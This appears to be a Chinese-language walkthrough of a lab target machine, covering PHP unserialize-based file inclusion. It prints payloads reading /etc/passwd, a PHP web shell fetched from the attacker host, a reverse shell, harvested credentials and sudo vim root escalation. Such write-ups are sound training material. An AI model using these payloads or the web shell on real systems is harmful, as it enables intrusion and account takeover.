一、下载地址
二、信息收集
探测存活主机
netdiscover -i eth0 -r 192.168.248.0/24
靶机地址:192.168.248.131
端口探测
masscan 192.168.248.131 -p 0-65535 --rate=1000
靶机开了80 http 和22 ssh服务,访问网页看一下
提示cookie,burpsuite抓包看一下cookie
base64加密,解密一下
得到序列化后字段
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
目录扫描
dirsearch -u http://192.168.248.131/
发现一个backup,访问看一下
有一个zip,下载下来
发现三个php文件,打开看是网站源码
代码审计
user.class.php
在user.class.php里handler会对变量进行文件包含和输出
三、漏洞利用
构造payload 读取/etc/passwd文件
O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')
base64加密
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==
成功包含,看到有一个sk4用户可以登录
get shell
构造序列化语句上传shell
<?php
system($_GET['cmd']);
?>
生成一个shell放在本地网站下
构造语句
O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:25:"http://192.168.56.1/shell.txt";}}
用python对构造的语句进行base64编码
得到一串base64加密后的语句
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MjU6Imh0dHA6Ly8xOTIuMTY4LjU2LjEvc2hlbGwudHh0Ijt9fQ==
用burpsuite上传
上传后反弹shell
本地监听端口
构造语句让靶机连接渗透机端口
反弹成功
看到一个credentials.txt.bak文件,查看一下
有一个账号和密码,之前扫到22端口开着,ssh登录试一下
成功登录
四、提权
看到vim命令可以用
sudo vim
在命令模式下使用!bash
提权成功